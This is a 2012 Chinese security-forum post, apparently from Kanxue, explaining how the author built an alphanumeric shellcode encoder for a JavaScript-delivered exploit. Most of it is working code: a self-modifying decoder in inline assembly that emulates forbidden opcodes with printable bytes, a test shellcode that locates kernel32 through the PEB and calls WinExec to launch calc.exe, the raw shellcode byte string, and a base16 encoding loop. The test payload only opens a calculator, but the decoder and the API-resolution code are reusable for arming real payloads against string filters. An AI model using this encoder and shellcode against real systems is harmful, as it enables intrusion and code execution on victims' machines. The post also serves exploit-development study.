-
-
[原创] 也学构造字母shellcode
-
发表于: 2012-5-27 11:45 5905
-
也学构造字母shellcode
感慨一下:Time Flies!转眼间就毕业了。这两天刚接触了exploit漏洞利用。需要编写自己的shellcode,由于是javascript的,对于字符串过滤有Ansi=>Unicode=>Ansi的转换过程。因此,给像我这样的新手增加了很大的难度。于是谷歌和看雪了一下,有几篇文章介绍到。一篇是snowdbg的http://bbs.pediy.com/showthread.php?t=113177,还有一篇是轩辕小聪的http://bbs.pediy.com/showthread.php?t=113227。(顺便膜拜一下轩辕小聪同学,貌似他很热心,搜到过很多他给其他人答疑解惑的帖子)。
对于构造字母shellcode的难点主要有:1,解码部分的opcode和operade必须小于0x80,并且不能含有0 。2,shellcode同样要小于0x80,不能含有0。对于第二个难点,其实算不上。因为将代码映射到字母上去的方法很多,比如前人使用的将shellcode的字节拆分,也就是base16。而对于一个难点,轩辕小聪的文章中指出,alpha2引擎可以做到。
Base16的实现思路很简单,不消说。而alpha2引擎,我没有看。轩辕小聪的文章没有完全看懂吸收。说一下自己在前人的基础上的根据自己的实现思路:加密部分采用的还是base16的字母拆分方法,而解密引擎我是自己实现的。主要是用小于0x80的指令来模拟大于0x80的指令。下面给出解码指令的模拟部分。
1, mov 指令的模拟。可以由push 0xXX(如果是立即数,必须小于0x7f;如果是寄存器,没有限制) 和pop reg。 还可以xor al,byte ptr[reg],xor byte ptr[reg],al表示的是mov byte ptr[reg],al, 而xor byte ptr[reg],al,xor al,byte ptr[reg]表示的是mov al,byte ptr[reg] 。注意这两句的顺序问题。
2, shl指令的模拟。可以由下边的三句话来实现。
xor al,byte ptr[esp]
xor byte ptr[esp],al //等价于mov byte ptr[esp],al
imul eax,dword ptr[esp],16 //左移四位
由于用到了[esp],所以必须通过push 0(push 0还有初始化这个空间的功能)来申请一个空间存放。
3, add 指令的模拟。因为我们知道,intel指令中同一条汇编代码和指令的字节不是一一对应的。通常为了减少指令的字节,eax寄存器的指令会被简化。如下
7C988B56 05 05000000 ADD EAX,5(可以对应别的字节码,具体参看intel指令手册)
7C988B5B 83C3 05 ADD EBX,5
因此,我们要尽量使用eax寄存器来中转其他寄存器的加法操作。接下来的这四句
add eax,0x12345678 //计算保存的地址
sub eax,0x1234563a
add eax,0x12345678
sub eax,0x12345639
是模拟add eax,0xXX的操作。采取两次add ,sub的原因是add eax,0x12345678的立即数0xXXXXXXXX的每个字节必须小于0x80且不能有0,所以add 和sub 执行一次后最多将eax能加到0x7d(0x7f-0x1),假如我们想add eax,0xbf 显然通过一次的add 和sub无法实现。所以,我采取两次的add,sub操作。
4,接下来
push 1
pop ebx
dec ebx //这三句话是为了不出现0,呵呵
dec ebx
xor byte ptr[eax],bl
这四句是用来smc的,修改的代码的地址放在eax当中。Push 0xXX最多压入的是0x7f,而0x7f的最高位是0,所以与要异或的代码字节(要smc修正的代码本身也是小于0x7f的,也就是说它的最高位也是为0)所以最高位异或肯定不可能产生大于0x80的值,而比如我们的要smc的指令jz 0xbf(往前跳)中的0xbf的最高位为1,大于0x80,所以需要上边的五句话来模拟xor [reg],0xXX达到修正代码的目的。
5, jno来模拟jmp跳转
cmp al,0x39 //0x39是加密的shellcode的结束标识符
__emit 0x74
__emit 0x3d //这里要修正,这两句话是模拟jz 0xXXXXXXXX,跳转到shellcode的入口
貌似还有很多细节问题,如果有想研究的自己去发现吧。我应该将它命名为bingle引擎, 呵呵。代码很简单,但是也是我精心构造的,不喜勿喷。
__asm
{
//******************
//初始化寄存器
//******************
push esp
pop edi //保存到的地址
push edi //解密代码的起始地址
pop esi
push 0x61 //解密的字符
pop edx
push 1
pop eax
dec eax
push 1
pop ebx
dec ebx
push 1
pop ecx
dec ecx //保存的是已经完成的字节数
//**************************
//smc,找不到指令来模拟跳转
//**************************
push esp
pop eax //计算跳转地址
add eax,0x12345678 //计算保存的地址
sub eax,0x1234563a
add eax,0x12345678
sub eax,0x12345639
push 1 //为了不出现0
pop ebx
dec ebx
dec ebx
xor byte ptr[eax],bl
inc eax
push eax
pop edi
push edi
pop esi
//*****************
//解密过程
//*****************
push 1
pop eax
dec eax
xor al,byte ptr[esi]
xor byte ptr[esi],al
loopProc:
push 1 //分配堆栈,作为计算imul的缓冲区
cmp al,0x39
__emit 0x74
__emit 0x3d //这里要修正,这两句话是模拟jz 0xXXXXXXXX,跳转到shellcode的入口
xor al,byte ptr[esi] //还原代码,将byte ptr[esi]的值恢复
xor byte ptr[esi],al
sub byte ptr[esi],dl
xor byte ptr[esi],al
xor al,byte ptr[esi]
xor al,byte ptr[esp]
xor byte ptr[esp],al //等价于mov byte ptr[esp],al
imul eax,dword ptr[esp],16 //不用ebx的原因是[ebx]没法使用imul指令byte ptr[ebx],所以必须找个内存地址临时存放一下byte ptr[ebx]
xor eax,dword ptr[esp]
xor dword ptr[esp],eax
inc esi
push 1
pop ebx
dec ebx
sub byte ptr[esi],dl
xor byte ptr[esi],bl
xor bl,byte ptr[esi] //这四句话等价于取出要解密的字节的低四位
add dword ptr[esp],ebx //前边的一大串是为了ebx<<4,好难构造呀
push 1
pop eax
dec eax
xor dword ptr[esp],eax
xor eax,dword ptr[esp]
xor al,byte ptr[edi]
xor byte ptr[edi],al //前边是解析一个指令,将两个字节合并为一个字节
inc edi
inc esi
xor byte ptr[esi],al //为了比较
xor al,byte ptr[esi]
pop ebx
__emit 0x71
__emit 0x42 //这里都要修正,这句话是跳转的
}
还有几个点,就是smc中跳转的偏移的计算。我是手动的根据od来看代码,计算器计算出来的。比如下边的
__emit 0x71
__emit 0x42
这句指令时jno 0xXX,往前跳的指令0xXX是由0xff xor 0x42计算出来的。同样的执行完解密代码,跳到解密后的shellcode执行的部分也是这么计算出来的。
差不多应该说的都说的,全盘和出了。代码很少,但是也要精心构造。从了解要小于0x80的限制到最后弄好,花了两三天。要毕业了,算是毕业献礼。测试的shellcode
最后来个对话,
附上测试的shellcode,测试的时候注意可读写执行节属性的修改。
#pragma code_seg("bingle")
#pragma comment(linker,"/section:bingle,rwe")
#pragma code_seg()
__asm
{
push ebp
mov ebp,esp
sub esp,0x30
mov edi,esp
mov ecx,0x30
xor eax,eax
rep stosb
}
//[ebp-4]存放Kernel32的基地址
//[ebp-8]存放的是WinExec的名称的地址
//[ebp-0xc]存放的是WinExec的函数的地址
//[ebp-0x10]存放的是ExitProcess的名称的地址
//[ebp-0x14]存放的是ExitProcess的函数的地址
//[ebp-0x18]存放的是函数名称的缓冲区
//[ebp-0x1c]存放的是函数名称长度的缓冲区
//[ebp-0x20]存放已经查找到的函数的数量
//[ebp-0x24]存放的是calc.exe的路径
__asm
{
GetKernel32Base: //获得Kernel32的基地址
mov eax,fs:[0x30]
mov eax,[eax+0xc]
mov eax,[eax + 0x1c]
mov eax,[eax]
//mov eax,[eax] //win7系统和xp系统不同的地方
mov eax,[eax + 8]
mov [ebp-0x4],eax
cmp dword ptr[ebp-0x4],0
jz __End
}
//************************************
//接下来是获取函数的地址
//************************************
__asm
{
GetFuncNameAddr:
call GetCreateProcessA_Name
__emit 'W'
__emit 'i'
__emit 'n'
__emit 'E'
__emit 'x'
__emit 'e'
__emit 'c'
__emit '\0'
GetCreateProcessA_Name:
pop eax
mov [ebp-8],eax
call GetExitProcess_Name
__emit 'E'
__emit 'x'
__emit 'i'
__emit 't'
__emit 'P'
__emit 'r'
__emit 'o'
__emit 'c'
__emit 'e'
__emit 's'
__emit 's'
__emit '\0'
GetExitProcess_Name:
pop eax
mov [ebp-0x10],eax
}
__asm
{
GetFuncAddr:
mov esi,[ebp-4]
add esi,[esi+0x3c]
mov esi,[esi+0x78]
add esi,[ebp-4] //获取了ExportTable的地址
mov ebx,[esi+0x20]
add ebx,[ebp-4] //AddressOfName
xor edx,edx
mov eax,[ebp-8] //获得CreateProcessA的名称的地址
mov [ebp-0x18],eax
mov [ebp-0x1c],7 //存放函数长度
repeatFindName:
push esi
mov edi,[ebx]
add edi,[ebp-4] //获得api函数名的地址
mov esi,[ebp-0x18] //获得我们要查找的函数的名称的地址
mov ecx,[ebp-0x1c]
repz cmpsb
pop esi
jz FindAddr //如果相等,那么跳转继续查找函数地址
add ebx,4
inc edx
cmp edx,[esi + 0x18] //判断有没有超过NumberOfNames,这里老是出错,怎么回事
jnz repeatFindName
jmp __End //没有找到,直接结束
FindAddr:
sub ebx,[esi+0x20]
sub ebx,[ebp-4]
shr ebx,1 //获得序号
add ebx,[esi + 0x24]
add ebx,[ebp-4]
movzx eax,word ptr[ebx]
shl eax,2 //乘
add eax,[esi+0x1c]
add eax,[ebp-4]
mov eax,[eax]
add eax,[ebp-4]
inc [ebp-0x20]
cmp [ebp-0x20],1 //序号比较
jz Store1
cmp [ebp-0x20],2 //序号比较
jz Store2
jmp __End
Store1:
mov [ebp-0xc],eax
push eax
mov eax,[ebp-0x10]
mov [ebp -0x18],eax
mov [ebp-0x1c],11
pop eax
mov ebx,[esi + 0x20] //AddressOfNames,初始化一下ebx
add ebx,[ebp-4]
xor edx,edx
jmp repeatFindName
Store2:
mov [ebp-0x14],eax
}
//*******************************************
//接下来是调用WinExec来弹出计算器来了
//*******************************************
__asm
{
call GetCalcPath_Name
__emit 'C'
__emit ':'
__emit 0x5c
__emit 0x5c
__emit 'W'
__emit 'i'
__emit 'n'
__emit 'd'
__emit 'o'
__emit 'w'
__emit 's'
__emit 0x5c
__emit 0x5c
__emit 'S'
__emit 'y'
__emit 's'
__emit 't'
__emit 'e'
__emit 'm'
__emit '3'
__emit '2'
__emit 0x5c
__emit 0x5c
__emit 'c'
__emit 'a'
__emit 'l'
__emit 'c'
__emit '.'
__emit 'e'
__emit 'x'
__emit 'e'
__emit '\0'
GetCalcPath_Name:
pop eax
mov [ebp-0x24],eax
push 1
push [ebp-0x24]
call [ebp-0xc]
}
__asm
{
__End:
xor eax,eax
push eax
call [ebp-0x14]
mov esp,ebp
pop ebp
xor eax,eax
ret
}
加密部分:
unsigned char szShellcode[] = "\x55\x8B\xEC\x83\xEC\x30\x8B\xFC\xB9\x30\x00\x00\x00\x33\xC0\xF3\xAA\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x1C\x8B\x00\x8B\x40\x08\x89\x45\xFC\x83\x7D\xFC\x00\x0F\x84\xDD\x00\x00\x00\xE8\x08\x00\x00\x00\x57\x69\x6E\x45\x78\x65\x63\x00\x58\x89\x45\xF8\xE8\x0C\x00\x00\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x58\x89\x45\xF0\x8B\x75\xFC\x03\x76\x3C\x8B\x76\x78\x03\x75\xFC\x8B\x5E\x20\x03\x5D\xFC\x33\xD2\x8B\x45\xF8\x89\x45\xE8\xC6\x45\xE4\x07\x56\x8B\x3B\x03\x7D\xFC\x8B\x75\xE8\x8B\x4D\xE4\xF3\xA6\x5E\x74\x0B\x83\xC3\x04\x42\x3B\x56\x18\x75\xE6\xEB\x7D\x2B\x5E\x20\x2B\x5D\xFC\xD1\xEB\x03\x5E\x24\x03\x5D\xFC\x0F\xB7\x03\xC1\xE0\x02\x03\x46\x1C\x03\x45\xFC\x8B\x00\x03\x45\xFC\xFE\x45\xE0\x80\x7D\xE0\x01\x74\x08\x80\x7D\xE0\x02\x74\x1B\xEB\x4D\x89\x45\xF4\x50\x8B\x45\xF0\x89\x45\xE8\xC6\x45\xE4\x0B\x58\x8B\x5E\x20\x03\x5D\xFC\x33\xD2\xEB\x9B\x89\x45\xEC\xE8\x20\x00\x00\x00\x43\x3A\x5C\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x5C\x53\x79\x73\x74\x65\x6D\x33\x32\x5C\x5C\x63\x61\x6C\x63\x2E\x65\x78\x65\x00\x58\x89\x45\xDC\x6A\x01\xFF\x75\xDC\xFF\x55\xF4\x33\xC0\x50\xFF\x55\xEC\x8B\xE5\x5D\x33\xC0\xC3";
char *szBuf = new char[0x400];
for(int i=0;i<= 284;i++)
{
szBuf[i*2] = (szShellcode[i])>>4;
szBuf[i*2] += 0x61;
szBuf[i*2+1] = (szShellcode[i])&0xf;
szBuf[i*2+1] += 0x61;
}
字母shellcode
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]unity的et热更新分析和补丁 11565
- whatsapp的越狱特征检测 12593
- [原创] lua脚本还原 8985
- [原创]实战某信外挂插件之字符串还原 10048
- [原创]cocos2d游戏的lua脚本解密 16719